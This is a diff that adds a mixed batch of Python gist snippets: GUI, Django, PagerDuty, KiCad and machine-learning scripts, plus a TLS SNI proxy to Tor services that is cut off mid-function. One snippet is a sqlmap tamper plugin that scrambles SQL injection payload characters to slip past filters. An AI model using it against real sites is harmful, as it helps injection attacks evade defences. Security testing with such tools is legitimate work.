+#!/usr/bin/env python2
+from gi.repository import Gtk
+
+class Grid(Gtk.Window):
+	widget_list = []
+	WIDGET_SIZE = 140
+	COLS = 1
+	NUM = 100
+
+	def calcule_columns(self, scroll, grid):
+		cols = scroll.get_allocated_width() / (self.WIDGET_SIZE + grid.get_column_spacing())
+		if (cols > len(self.widget_list)): cols = len(self.widget_list)
+		return cols
+		
+	def on_resize(self, arg1, arg2, scroll, grid):
+		new_cols = self.calcule_columns(scroll, grid)
+		if  new_cols == self.COLS or new_cols == 0 or new_cols > len(self.widget_list): return
+		self.COLS = new_cols
+		self.remove_widgets(grid)
+		self.load_widgets(grid)
+		
+	def remove_widgets(self, grid):
+		if self.widget_list == 0: return
+		for wid in grid.get_children():
+			grid.remove(wid)
+
+	def create_grid(self):
+		grid = Gtk.Grid()
+		grid.set_column_spacing(10)
+		grid.set_row_spacing(10)
+		grid.set_column_homogeneous(True)
+		grid.set_row_homogeneous(False)
+		grid.set_border_width(0)
+		return grid
+		
+	def load_widgets(self, grid):
+		i,j = 0,0
+		COLS = self.COLS
+
+		if len(self.widget_list) == 0: return
+		
+		for wid in self.widget_list:
+			grid.attach(wid, i, j, 1, 1)
+			i+=1
+			if i == COLS:
+				i=0
+				j+=1
+
+	def __init__(self):
+		def callback(widget):
+			this = widget.get_label()
+			dialog = Gtk.MessageDialog(None, Gtk.DialogFlags.MODAL,
+				message_type=Gtk.MessageType.QUESTION,
+				buttons=Gtk.ButtonsType.OK)
+			dialog.set_title("Window title %s" % this.split(" ")[1])
+			dialog.set_markup("You chose <b>%s</b>, try it again!" % this)
+			dialog.run()
+			dialog.destroy()
+
+		Gtk.Window.__init__(self, title="Grid")
+		
+		self.resize(self.WIDGET_SIZE*6, self.WIDGET_SIZE*2)
+		self.set_position(Gtk.WindowPosition.CENTER)
+
+		grid_main = self.create_grid()
+		viewport = Gtk.Viewport(None, None);
+		viewport.add(grid_main)
+		viewport.set_shadow_type (Gtk.ShadowType.NONE)
+		scroll = Gtk.ScrolledWindow()
+		scroll.set_border_width(0)
+		scroll.add(viewport)
+		scroll.connect("size-allocate", self.on_resize, scroll, grid_main)
+		scroll.set_policy(Gtk.PolicyType.AUTOMATIC, Gtk.PolicyType.AUTOMATIC)
+		self.add(scroll)
+
+		z = 1
+		while z is not self.NUM+1:
+			button = Gtk.Button()
+			button.set_label("Button %s" % z)
+			button.connect("clicked", callback)
+			self.widget_list.append(button)
+			z+=1
+
+		self.load_widgets(grid_main)
+
+
+win = Grid()
+win.connect("delete-event", Gtk.main_quit)
+win.show_all()
+Gtk.main()
\ No newline at end of file
diff --git a/hard-gists/4995154/._snippet.py b/hard-gists/4995154/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4995154/._snippet.py differ
diff --git a/hard-gists/4995154/snippet.py b/hard-gists/4995154/snippet.py
new file mode 100644
index 00000000..ace52ea5
--- /dev/null
+++ b/hard-gists/4995154/snippet.py
@@ -0,0 +1,19 @@
+from django.contrib.auth.models import User
+from tastypie.authentication import ApiKeyAuthentication
+
+class EmailApiKeyAuthentication (ApiKeyAuthentication):
+    """ The same as base class, but use email to find user """
+    def is_authenticated(self, request, **kwargs):
+        email = request.GET.get('username') or request.POST.get('username')
+        api_key = request.GET.get('api_key') or request.POST.get('api_key')
+
+        if not email or not api_key:
+            return self._unauthorized()
+
+        try:
+            user = User.objects.get(email=email)
+        except (User.DoesNotExist, User.MultipleObjectsReturned):
+            return self._unauthorized()
+
+        request.user = user
+        return self.get_key(user, api_key)
diff --git a/hard-gists/4995164/._snippet.py b/hard-gists/4995164/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4995164/._snippet.py differ
diff --git a/hard-gists/4995164/snippet.py b/hard-gists/4995164/snippet.py
new file mode 100644
index 00000000..e8e43bed
--- /dev/null
+++ b/hard-gists/4995164/snippet.py
@@ -0,0 +1,40 @@
+from django.core.exceptions import ImproperlyConfigured
+from django.core.management import call_command
+from django.db.models.signals import post_syncdb
+from south.models import MigrationHistory
+import pizzanuvola_teaser.settings as settings
+
+
+def migration_exists(appname, migrationnumber):
+    appname = appname.split('.')[-1]
+    return MigrationHistory.objects.filter(app_name=appname, migration__icontains=migrationnumber).exists()
+
+
+def load_data(app, sender, **kwargs):
+    if app.__name__ == settings.INSTALLED_APPS[-1] + ".models":
+        migrations = {
+            'allauth.socialaccount': [
+                '0001',
+                '0002',
+                '0003',
+                '0004',
+                '0005',
+                '0006',
+                '0007',
+                '0008',
+            ],
+            'allauth.socialaccount.providers.facebook': [
+                '0001',
+                '0002',
+            ],
+        }
+
+        for appname, migrationlist in migrations.iteritems():
+            for migration in migrationlist:
+                if not migration_exists(appname, migration):
+                    try:
+                        call_command('migrate', appname, migration)
+                    except ImproperlyConfigured:
+                        pass
+
+post_syncdb.connect(load_data)
diff --git a/hard-gists/4996449/._snippet.py b/hard-gists/4996449/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4996449/._snippet.py differ
diff --git a/hard-gists/4996449/snippet.py b/hard-gists/4996449/snippet.py
new file mode 100644
index 00000000..bbcb654f
--- /dev/null
+++ b/hard-gists/4996449/snippet.py
@@ -0,0 +1,49 @@
+#        DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 
+#                    Version 2, December 2004 
+
+# Copyright (C) 2004 Sam Hocevar <sam@hocevar.net> 
+
+# Everyone is permitted to copy and distribute verbatim or modified 
+# copies of this license document, and changing it is allowed as long 
+# as the name is changed. 
+
+#            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 
+#   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 
+
+#  0. You just DO WHAT THE FUCK YOU WANT TO.
+
+import urllib2
+import json
+from supervisor import childutils
+import sys
+import socket
+
+ 
+class PagerDutyNotifier(object):
+    def __init__(self, pd_service_key):
+        self.pd_service_key = pd_service_key
+        def run(self):
+            while True:
+                headers, payload = childutils.listener.wait()
+                sys.stderr.write(str(headers) + '\n')
+                payload = dict(v.split(':') for v in payload.split(' '))
+                sys.stderr.write(str(payload) + '\n')
+                if headers['eventname'] == 'PROCESS_STATE_EXITED' and not int(payload['expected']):
+                    data = {'service_key': self.pd_service_key,
+                            'event_type': 'trigger',
+                            'description': '{} service has crashed unexpectedly on {}'.format(payload['processname'], socket.gethostname())
+                    }
+                    try:
+                        res = urllib2.urlopen('https://events.pagerduty.com/generic/2010-04-15/create_event.json', json.dumps(data))
+                    except urllib2.HTTPError, ex:
+                        sys.stderr.write('{} - {}\n{}'.format(ex.code, ex.reason, ex.read()))
+                    else:
+                        sys.stderr.write('{}, {}\n'.format(res.code, res.msg))
+                    childutils.listener.ok()
+                    sys.stderr.flush()
+    
+if __name__ == '__main__':
+    pager_duty_service_key = sys.argv[1]
+    pager_duty_notifer = PagerDutyNotifier(pager_duty_service_key)
+    pager_duty_notifer.run()
+
diff --git a/hard-gists/49aca627205aebaa2be1811511dbc422/._snippet.py b/hard-gists/49aca627205aebaa2be1811511dbc422/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/49aca627205aebaa2be1811511dbc422/._snippet.py differ
diff --git a/hard-gists/49aca627205aebaa2be1811511dbc422/snippet.py b/hard-gists/49aca627205aebaa2be1811511dbc422/snippet.py
new file mode 100644
index 00000000..bdea3a91
--- /dev/null
+++ b/hard-gists/49aca627205aebaa2be1811511dbc422/snippet.py
@@ -0,0 +1,15 @@
+#!/usr/bin/env python
+
+from lib.core.data import kb
+from lib.core.enums import PRIORITY
+import string
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    orig = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+    srvr = "QqnPvka03wMU6ZybjmK4BRSEWdVishgClpI1AouFNOJ9zrtL2Yef7Tc8GxDHX5"
+    return payload.translate(string.maketrans(orig,srvr))
diff --git a/hard-gists/4a07818b8a21dd5c49013b9ed496cb70/._snippet.py b/hard-gists/4a07818b8a21dd5c49013b9ed496cb70/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4a07818b8a21dd5c49013b9ed496cb70/._snippet.py differ
diff --git a/hard-gists/4a07818b8a21dd5c49013b9ed496cb70/snippet.py b/hard-gists/4a07818b8a21dd5c49013b9ed496cb70/snippet.py
new file mode 100644
index 00000000..7d8a8089
--- /dev/null
+++ b/hard-gists/4a07818b8a21dd5c49013b9ed496cb70/snippet.py
@@ -0,0 +1,40 @@
+import bpy
+myCurve = bpy.data.curves[0] # here your curve
+spline= myCurve.splines[0] # maybe you need a loop if more than 1 spline
+
+scale = 200
+
+curvepath_template = """
+var curves = new THREE.CurvePath();
+%s
+
+var geometry = curves.createSpacedPointsGeometry(100);
+var material = new THREE.LineBasicMaterial({
+    color: 0xff0000
+});
+
+// Create the final Object3d to add to the scene
+var curveObject = new THREE.Line(geometry, material);""" 
+
+curve_template = """\ncurves.add(new THREE.CubicBezierCurve3(%s\n));""" 
+vector3_template = """\n    new THREE.Vector3( %f, %f, %f ),"""
+
+def makecurve(*vectors):
+    vector3_string = ''
+    for vector in vectors:
+        vector3_string = vector3_string + vector3_template % (
+            vector[0]*scale,
+            vector[1]*scale,
+            vector[2]*scale)
+    return vector3_string
+
+curves = []
+for x in range(len(spline.bezier_points)):
+    curves.append(curve_template % makecurve(spline.bezier_points[x].co
+        ,spline.bezier_points[x].handle_right
+        ,spline.bezier_points[x+1].handle_left
+        ,spline.bezier_points[x+1].co)[:-1])
+
+output = curvepath_template % ''.join(curves)
+print(output)
+
diff --git a/hard-gists/4a3f8b0fee43d45646cf118bda4d202a/._snippet.py b/hard-gists/4a3f8b0fee43d45646cf118bda4d202a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4a3f8b0fee43d45646cf118bda4d202a/._snippet.py differ
diff --git a/hard-gists/4a3f8b0fee43d45646cf118bda4d202a/snippet.py b/hard-gists/4a3f8b0fee43d45646cf118bda4d202a/snippet.py
new file mode 100644
index 00000000..c0d4f28d
--- /dev/null
+++ b/hard-gists/4a3f8b0fee43d45646cf118bda4d202a/snippet.py
@@ -0,0 +1,73 @@
+# Author: HJ van Veen <info@mlwave.com>
+# Description: Experiment to learn a tSNE transformer for new 
+#              test data with a multi-output GBM
+#
+# Idea first seen at lvdmaaten.github.io/tsne
+# > [...] it is not possible to embed test points in an existing 
+# > map [...]
+# > A potential approach to deal with this would be to train 
+# > a multivariate regressor to predict the map location from 
+# > the input data.
+#
+# Part of code adapted from Fabian Pedregosa, Olivier Grisel, 
+#                           Mathieu Blondel, Gael Varoquaux,
+# originally licensed under "BSD 3 clause (C) INRIA 2011".
+
+from sklearn import (manifold, datasets, preprocessing, model_selection, 
+                     decomposition, metrics, multioutput)
+from xgboost import XGBRegressor
+import matplotlib.pyplot as plt
+import numpy as np
+
+# For data we use 6 different digit classes of 8x8 pixels
+digits = datasets.load_digits(n_class=6)
+X = digits.data # (1083, 64)
+y = digits.target # (1083, )
+
+# Split the data into 66% train and 33% test set.
+X_train, X_test, y_train, y_test = model_selection.train_test_split(X, 
+                                                                    y, 
+                                                                    test_size=0.33, 
+                                                                    random_state=0)
+
+# First, PCA 2-D (which has .transform()) to illustrate and evaluate
+lens = decomposition.PCA(n_components=2, random_state=0)
+X_lens_train = lens.fit_transform(X_train)
+X_lens_test = lens.transform(X_test)
+
+# Normalize the lens within 0-1
+scaler = preprocessing.MinMaxScaler()
+X_lens_train = scaler.fit_transform(X_lens_train)
+X_lens_test = scaler.transform(X_lens_test)
+
+# Fit a model and predict the lens values from the original features
+model = XGBRegressor(n_estimators=2000, max_depth=20, learning_rate=0.01)
+model = multioutput.MultiOutputRegressor(model)
+model.fit(X_train, X_lens_train)
+preds = model.predict(X_test)
+
+# Evaluate exhaustively
+print("PREDICTION\t\tGROUND TRUTH")
+for p, g in zip(preds, X_lens_test):
+    print(p, g)
+print("MAE", metrics.mean_absolute_error(X_lens_test, preds))
+
+# Now TSNE (which has no .transform()) and a visual evaluation
+lens = manifold.TSNE(n_components=2, init='pca', random_state=0)
+X_lens_train = lens.fit_transform(X_train)
+
+# Normalize the lens within 0-1
+X_lens_train = scaler.fit_transform(X_lens_train)
+
+# Fit a model and predict the lens values from the original features
+model.fit(X_train, X_lens_train)
+X_tsne = model.predict(X_test)
+
+# Visualize predictions
+plt.figure()
+for i in range(X_tsne.shape[0]):
+    plt.text(X_tsne[i, 0], X_tsne[i, 1], str(y_test[i]), 
+             color=plt.cm.Set1(y_test[i] / 10.),
+             fontdict={'weight': 'bold', 'size': 9})
+plt.title("Predicting t-SNE transformations with GBM")
+plt.savefig("tsne-predictions.png")
\ No newline at end of file
diff --git a/hard-gists/4a4e7e700c34c04160b93aa03a14861c/._snippet.py b/hard-gists/4a4e7e700c34c04160b93aa03a14861c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4a4e7e700c34c04160b93aa03a14861c/._snippet.py differ
diff --git a/hard-gists/4a4e7e700c34c04160b93aa03a14861c/snippet.py b/hard-gists/4a4e7e700c34c04160b93aa03a14861c/snippet.py
new file mode 100644
index 00000000..880dcddf
--- /dev/null
+++ b/hard-gists/4a4e7e700c34c04160b93aa03a14861c/snippet.py
@@ -0,0 +1,165 @@
+# Efficient passive aggressive updates for multi-class classification
+#
+# Original article:
+# "Column squishing for multiclass updates"
+# https://nlpers.blogspot.com/2017/08/column-squishing-for-multiclass-updates.html
+
+
+from __future__ import division
+import numpy as np
+import scipy.optimize
+
+
+def multiclass_update(A, w, j):
+    """Given matrix A in R^{k x d}), w in R^d) and j, find B that solves:
+
+       min_B ||B-A||^2 st (w B)_j >= (w B)_i + 1 for all i != j
+
+    observe that any change will be in the direction of x
+
+    so compute scalars:
+      C_i = [ a_i - a_j + 1 ] / ||x||^2
+
+    where a_i is x*A[i,:]
+
+    """
+    k, d = A.shape
+    a = A.dot(w)
+    C = (a - a[j] + 1) / w.dot(w)
+    C[j] = 0
+    delta = min_delta(C, j)
+    return A + delta.reshape((k,1)).dot(w.reshape(1, d))
+
+
+def slow(A, w, j):
+    # Here's a slow version of the same problem, which uses a less-efficient
+    # numerical method to find the solution.
+
+    # min_B ||B-A||^2 st (w B)_j >= (w B)_i + 1 for all i != j
+
+    [k, d] = A.shape
+
+    def f(x):
+        B = x.reshape((k,d))
+        D = (B - A).flatten()
+        return 0.5*D.dot(D), D
+
+    def h(x):
+        # inequality constraints
+        B = x.reshape((k,d))
+        s = B.dot(w)
+        H = (s[j] - s - 1)
+        H[j] = 0
+        return H
+
+    # precompute Jacobian of constraints
+    J = np.zeros((k,d,k))
+    for i in range(k):
+        if i != j:
+            J[i,:,i] -= w
+            J[j,:,i] += w
+    J = J.reshape((k*d,k)).T
+
+    def h_jac(_):
+        return J
+
+    if 0:
+        from arsenal.math import spherical, compare
+        x = A.flatten()
+        eps = 1e-5
+        m = 100
+        fd = np.zeros(m)
+        ad = np.zeros(m)
+        for t in range(m):
+            y = spherical(k*d)
+            z = spherical(k)
+            fd[t] = (h(x + eps*y).dot(z) - h(x - eps*y).dot(z)) / (2*eps)
+            ad[t] = y.dot((h_jac(x).T.dot(z)).flatten())
+            compare(fd, ad).show()
+
+    return scipy.optimize.minimize(f, x0 = A, jac=1,
+                                   constraints={'type': 'ineq', 'fun': h, 'jac': h_jac}).x
+
+
+def min_delta(C, j):
+    # solve:
+    #   min_delta sum_i delta_i^2 st delta_j >= delta_i + C_i for i != j
+    # do a change of variables where
+    #   z = delta + D
+    # then we want to solve
+    #   min_x ||x-z|| st x_j >= x_i for i != j
+    # after reordering C so that D[0] = C[j] and D[1:] is sorted(C[!j])
+    # and then need to un-sort the results
+    order = (-C).argsort()
+    j_idx = (order == j).nonzero()[0][0]
+    order2 = np.concatenate([[j], order[:j_idx], order[j_idx+1:]])
+    proj = column_squishing(C[order2], False)
+    return proj[order2.argsort()] - C
+
+
+def column_squishing(z, do_proj=True):
+    # input: z has z_2 >= z_3 >= z_4 >= ... >= z_n
+    # returns the projection of z into { x in R : 0 <= x_i <= x_1 <= 1 }
+    # this is algorithm 5 from:
+    #   Factoring nonnegative matrices with linear programs
+    #   by Bittorf et al., June 2012
+    #   http://pages.cs.wisc.edu/~brecht/papers/12.Bit.EtAl.HOTT.pdf
+    proj01 = (lambda a: max(0, min(1, a))) if do_proj else (lambda a: a)
+    proj0_ = (lambda a: max(0, a)) if do_proj else (lambda a: a)
+    n = z.shape[0]
+    assert len(z.shape) == 1
+    assert all([z[i] >= z[i+1] for i in xrange(1, n-1)])
+    mu = z[0]
+    kc = n-1
+    for k in range(1, n):
+        if z[k] <= proj01(mu):
+            kc = k - 1
+            break
+        mu = mu * k / (k+1) + z[k] / (k+1)
+    x = np.zeros(n) + proj01(mu)
+    for k in range(kc+1, n):
+        x[k] = proj0_(z[k])
+    return x
+
+
+import seaborn
+import pandas as pd
+import pylab as pl
+from arsenal.timer import timers
+from arsenal import iterview
+from arsenal.math import assert_equal
+
+def main():
+
+    T = timers()
+
+    R = 10  # repetitions
+    ks = range(3, 120, 10) * R
+    np.random.shuffle(ks)
+
+    for k in iterview(ks):
+        i = np.random.randint(k)
+
+        d = 5
+        A = np.random.randn(k,d)
+        w = np.random.randn(d)
+
+        with T['fast'](k=k):
+            a = multiclass_update(A, w, i)
+
+        with T['slow'](k=k):
+            b = slow(A, w, i)
+
+        assert_equal(a.flatten(), b.flatten())
+
+        s = a.dot(w)
+        assert s.argmax() == i # `i` should win.
+        s = np.sort(s)
+        margin = s[-1] - s[-2]
+        assert margin >= 0.99999
+
+    T.plot_feature('k', show='scatter')
+    pl.show()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4a76e42f058ef7b467d9/._snippet.py b/hard-gists/4a76e42f058ef7b467d9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4a76e42f058ef7b467d9/._snippet.py differ
diff --git a/hard-gists/4a76e42f058ef7b467d9/snippet.py b/hard-gists/4a76e42f058ef7b467d9/snippet.py
new file mode 100644
index 00000000..82baf18b
--- /dev/null
+++ b/hard-gists/4a76e42f058ef7b467d9/snippet.py
@@ -0,0 +1,273 @@
+'''
+Heavily borrowed from this location: https://github.com/blairbonnett-mirrors/kicad/blob/master/demos/python_scripts_examples/plot_board.py
+
+Parameters
+
+Takes 2 parameters
+1. Path to kicad file
+2. Location of where to save pdfs
+
+    A python script example to create various plot files from a board:
+    Fab files
+    Doc files
+    Gerber files
+
+    Important note:
+        this python script does not plot frame references.
+        the reason is it is not yet possible from a python script because plotting
+        plot frame references needs loading the corresponding page layout file
+        (.wks file) or the default template.
+
+        This info (the page layout template) is not stored in the board, and therefore
+        not available.
+
+        Do not try to change SetPlotFrameRef(False) to SetPlotFrameRef(true)
+        the result is the pcbnew lib will crash if you try to plot
+        the unknown frame references template.
+
+
+Usage
+
+    There are 4 main lines that generate a file. e.g..
+
+    pctl.SetLayer(F_SilkS)
+    pctl.OpenPlotfile("Silk", PLOT_FORMAT_PDF, "Assembly guide")
+    pctl.PlotLayer()
+    pctl.ClosePlot()
+
+
+The first line takes the F.Silks layer
+The second line takes 3 parameters (file-name-append, file type, unknown)
+The third line actually plots the layer
+The forth line reads the temp file and writes it out to a pdf
+
+You can write to the following formats
+
+PLOT_FORMAT_SVG
+PLOT_FORMAT_PDF
+PLOT_FORMAT_GERBER
+
+    
+'''
+#!/usr/bin/env python
+import sys
+
+from pcbnew import *
+filename=sys.argv[1] #e.g left-main/left-main.kicad_pcb
+
+board = LoadBoard(filename)
+
+pctl = PLOT_CONTROLLER(board)
+
+popt = pctl.GetPlotOptions()
+
+# popt.SetOutputDirectory("plot/")
+popt.SetOutputDirectory(sys.argv[2])
+
+
+
+# Set some important plot options:
+popt.SetPlotFrameRef(False)
+popt.SetLineWidth(FromMM(0.35))
+
+popt.SetAutoScale(False)
+popt.SetScale(1)
+popt.SetMirror(False)
+popt.SetUseGerberAttributes(True)
+popt.SetExcludeEdgeLayer(False);
+popt.SetScale(1)
+popt.SetUseAuxOrigin(True)
+
+# This by gerbers only (also the name is truly horrid!)
+popt.SetSubtractMaskFromSilk(False)
+
+pctl.SetLayer(F_SilkS)
+pctl.OpenPlotfile("Silk", PLOT_FORMAT_PDF, "Assembly guide")
+pctl.PlotLayer()
+
+#########################
+#### CuBottom.gbr    ####
+#### CuTop.gbr       ####
+#### EdgeCuts.gbr    ####
+#### MaskBottom.gbr  ####
+#### MaskTop.gbr     ####
+#### PasteBottom.gbr ####
+#### PasteTop.gbr    ####
+#### SilkBottom.gbr  ####
+#### SilkTop.gbr     ####
+#########################
+
+# Once the defaults are set it become pretty easy...
+# I have a Turing-complete programming language here: I'll use it...
+# param 0 is a string added to the file base name to identify the drawing
+# param 1 is the layer ID
+plot_plan = [
+    ( "CuTop", F_Cu, "Top layer" ),
+    ( "CuBottom", B_Cu, "Bottom layer" ),
+    ( "PasteBottom", B_Paste, "Paste Bottom" ),
+    ( "PasteTop", F_Paste, "Paste top" ),
+    ( "SilkTop", F_SilkS, "Silk top" ),
+    ( "SilkBottom", B_SilkS, "Silk top" ),
+    ( "MaskTop", F_Mask, "Mask top" ),
+    ( "MaskBottom", B_Mask, "Mask bottom" ),
+    ( "EdgeCuts", Edge_Cuts, "Edges" ),
+]
+
+for layer_info in plot_plan:
+    pctl.SetLayer(layer_info[1])
+    pctl.OpenPlotfile(layer_info[0], PLOT_FORMAT_PDF, layer_info[2])
+    pctl.PlotLayer()
+
+######################
+#### AssyTop.pdf #####
+######################
+
+# Our fabricators want two additional gerbers:
+# An assembly with no silk trim and all and only the references
+# (you'll see that even holes have designators, obviously)
+popt.SetSubtractMaskFromSilk(False)
+popt.SetPlotReference(True)
+popt.SetPlotValue(False)
+popt.SetPlotInvisibleText(True)
+
+pctl.SetLayer(F_SilkS)
+pctl.OpenPlotfile("AssyTop", PLOT_FORMAT_PDF, "Assembly top")
+pctl.PlotLayer()
+
+###############################
+#### AssyOutlinesTop.pdf  #####
+###############################
+
+# And a gerber with only the component outlines (really!)
+popt.SetPlotReference(False)
+popt.SetPlotInvisibleText(False)
+pctl.SetLayer(F_SilkS)
+pctl.OpenPlotfile("AssyOutlinesTop", PLOT_FORMAT_PDF, "Assembly outline top")
+pctl.PlotLayer()
+
+######################
+#### Layout.pdf  #####
+######################
+
+# The same could be done for the bottom side, if there were components
+popt.SetUseAuxOrigin(False)
+
+## For documentation we also want a general layout PDF
+## I usually use a shell script to merge the ps files and then distill the result
+## Now I can do it with a control file. As a bonus I can have references in a
+## different colour, too.
+
+popt.SetPlotReference(True)
+popt.SetPlotValue(True)
+popt.SetPlotInvisibleText(False)
+# Remember that the frame is always in color 0 (BLACK) and should be requested
+# before opening the plot
+popt.SetPlotFrameRef(False)
+pctl.SetLayer(Dwgs_User)
+
+pctl.OpenPlotfile("Layout", PLOT_FORMAT_PDF, "General layout")
+pctl.PlotLayer()
+
+# Do the PCB edges in yellow
+popt.SetColor(YELLOW)
+pctl.SetLayer(Edge_Cuts)
+pctl.PlotLayer()
+
+## Comments in, uhmm... green
+popt.SetColor(GREEN)
+pctl.SetLayer(Cmts_User)
+pctl.PlotLayer()
+
+# Bottom mask as lines only, in red
+#popt.SetMode(LINE)
+popt.SetColor(RED)
+pctl.SetLayer(B_Mask)
+pctl.PlotLayer()
+
+# Top mask as lines only, in blue
+popt.SetColor(BLUE)
+pctl.SetLayer(F_Mask)
+pctl.PlotLayer()
+
+# Top paste in light blue, filled
+popt.SetColor(BLUE)
+#popt.SetMode(FILLED)
+pctl.SetLayer(F_Paste)
+pctl.PlotLayer()
+
+# Top Silk in cyan, filled, references in dark cyan
+popt.SetReferenceColor(DARKCYAN)
+popt.SetColor(CYAN)
+pctl.SetLayer(F_SilkS)
+pctl.PlotLayer()
+
+########################
+#### Assembly.svg  #####
+########################
+
+popt.SetTextMode(PLOTTEXTMODE_STROKE)
+pctl.SetLayer(F_Mask)
+pctl.OpenPlotfile("Assembly", PLOT_FORMAT_PDF, "Main Assembly")
+pctl.SetColorMode(True)
+
+# We want *everything*
+popt.SetPlotReference(True)
+popt.SetPlotValue(True)
+popt.SetPlotInvisibleText(True)
+
+# Remember than the DXF driver assigns colours to layers. This means that
+# we will be able to turn references on and off simply using their layers
+# Also most of the layer are now plotted in 'line' mode, because DXF handles
+# fill mode almost like sketch mode (this is to keep compatibility with
+# most CAD programs; most of the advanced primitive attributes required are
+# handled only by recent autocads...); also the entry level cads (qcad
+# and derivatives) simply don't handle polyline widths...
+# 
+# Here I'm using numbers for colors and layers, I'm too lazy too look them up:P
+popt.SetReferenceColor(19)
+popt.SetValueColor(21)
+
+popt.SetColor(0)
+#popt.SetMode(LINE)
+pctl.SetLayer(B_SilkS)
+pctl.PlotLayer()
+popt.SetColor(14)
+pctl.SetLayer(F_SilkS)
+pctl.PlotLayer()
+popt.SetColor(2)
+pctl.SetLayer(B_Mask)
+pctl.PlotLayer()
+popt.SetColor(4)
+pctl.SetLayer(F_Mask)
+pctl.PlotLayer()
+popt.SetColor(1)
+pctl.SetLayer(B_Paste)
+pctl.PlotLayer()
+popt.SetColor(9)
+pctl.SetLayer(F_Paste)
+pctl.PlotLayer()
+popt.SetColor(3)
+pctl.SetLayer(Edge_Cuts)
+pctl.PlotLayer()
+
+# Export the copper layers too... exporting one of them in filled mode with
+# drill marks will put the marks in the WHITE later (since it tries to blank
+# the pads...); these will be obviously great reference points for snap
+# and stuff in the cad. A pctl function to only plot them would be
+# better anyway...
+
+popt.SetColor(17)
+#popt.SetMode(FILLED)
+popt.SetDrillMarksType(PCB_PLOT_PARAMS.FULL_DRILL_SHAPE)
+pctl.SetLayer(B_Cu)
+pctl.PlotLayer()
+popt.SetColor(20)
+popt.SetDrillMarksType(PCB_PLOT_PARAMS.NO_DRILL_SHAPE)
+pctl.SetLayer(F_Cu)
+pctl.PlotLayer()
+
+# At the end you have to close the last plot, otherwise you don't know when
+# the object will be recycled!
+pctl.ClosePlot()
+
+# We have just generated 21 plotfiles with a single script
\ No newline at end of file
diff --git a/hard-gists/4a89bf7c52500a1d7e7b/._snippet.py b/hard-gists/4a89bf7c52500a1d7e7b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4a89bf7c52500a1d7e7b/._snippet.py differ
diff --git a/hard-gists/4a89bf7c52500a1d7e7b/snippet.py b/hard-gists/4a89bf7c52500a1d7e7b/snippet.py
new file mode 100644
index 00000000..2a835318
--- /dev/null
+++ b/hard-gists/4a89bf7c52500a1d7e7b/snippet.py
@@ -0,0 +1,208 @@
+#!/usr/bin/env python
+"""
+Proxy an SSL connection to a Twisted endpoint based on the SNI extension
+
+Allows for end-to-end encrypted connections from a browser to a Tor hidden
+service.
+
+Proxy code based on
+http://blog.laplante.io/2013/08/a-basic-man-in-the-middle-proxy-with-twisted/
+
+"""
+import logging
+
+from twisted.internet.endpoints import clientFromString
+from twisted.internet import protocol, reactor
+from OpenSSL import SSL
+
+# Set up logging
+handler = logging.StreamHandler()
+handler.setFormatter(logging.Formatter(fmt="%(asctime)s [%(levelname)s]: "
+                                           "%(message)s"))
+logger = logging.getLogger()
+logger.addHandler(handler)
+logger.setLevel(level=logging.DEBUG)
+
+
+class NameResolver(object):
+    """
+    Resolve a domain to a Twisted client endpoint
+
+    Takes a domain name and returns an endpoint. This demo uses a
+    domain -> onion list. In future the resolver could query a TXT
+    record from the domain to retrieve the destination TCP or onion address.
+    """
+
+    def __init__(self):
+        # Testing domain list
+        self.domain_list = {
+            'oniontip.com': 'ha2zlm2uo6hnhdha',
+            'blockchain.info': 'blockchainbdgpzk',
+        }
+
+    def resolve(self, domain):
+        return self.domain_list.get(domain)
+
+    def get_endpoint(self, domain):
+        resolved_name = self.resolve(domain)
+
+        if resolved_name:
+            logger.info('Resolved domain %s to %s.onion',
+                        domain, resolved_name)
+            endpoint_string = 'tor:host={}.onion:port=443'.format(
+                self.resolve(domain))
+
+            try:
+                endpoint = clientFromString(reactor, endpoint_string)
+            except ValueError:
+                logger.exception('Error creating client endpoint. Maybe a '
+                                 'suitable endpoint parser is not available.')
+                return None
+
+            return endpoint
+        else:
+            logger.warn('Could not resolve domain %s.', domain)
+            return None
+
+
+class SSLContext(object):
+    """
+    Simple mocked SSL connection to allow parsing of the ClientHello
+    """
+
+    def __init__(self):
+        """
+        Initialize an SSL connection object
+        """
+        self.server_name = None
+
+        context = SSL.Context(SSL.TLSv1_2_METHOD)
+        context.set_tlsext_servername_callback(self.get_servername)
+
+        self.connection = SSL.Connection(context=context)
+        self.connection.set_accept_state()
+
+    def get_servername(self, connection):
+        """
+        Callback to retrieve the parsed SNI extension when it is parsed
+        """
+        self.server_name = connection.get_servername()
+
+    def parse_client_hello(self, client_hello):
+        # Write the SSL handshake into the BIO memory stream.
+        self.connection.bio_write(client_hello)
+        try:
+            # Start parsing the client handshake from the memory stream
+            self.connection.do_handshake()
+        except SSL.Error:
+            # We don't have a complete SSL handshake, only the ClientHello,
+            # close the connection once we hit an error.
+            self.connection.shutdown()
+
+        # Should have run the get_servername callback already
+        return self.server_name
+
+
+class ServerProtocol(protocol.Protocol):
+    """
+    Adapted from http://stackoverflow.com/a/15645169/221061
+    """
+    def __init__(self):
+        self.buffer = None
+        self.client = None
+        self.resolve = NameResolver()
+
+    def connectionMade(self):
+        pass
+
+    def parseSNI(self, data):
+        ssl_context = SSLContext()
+        return ssl_context.parse_client_hello(data)
+
+    def createClient(self, endpoint):
+        """
+        Create an instance of the Client which connects to the
+        destination server.
+        """
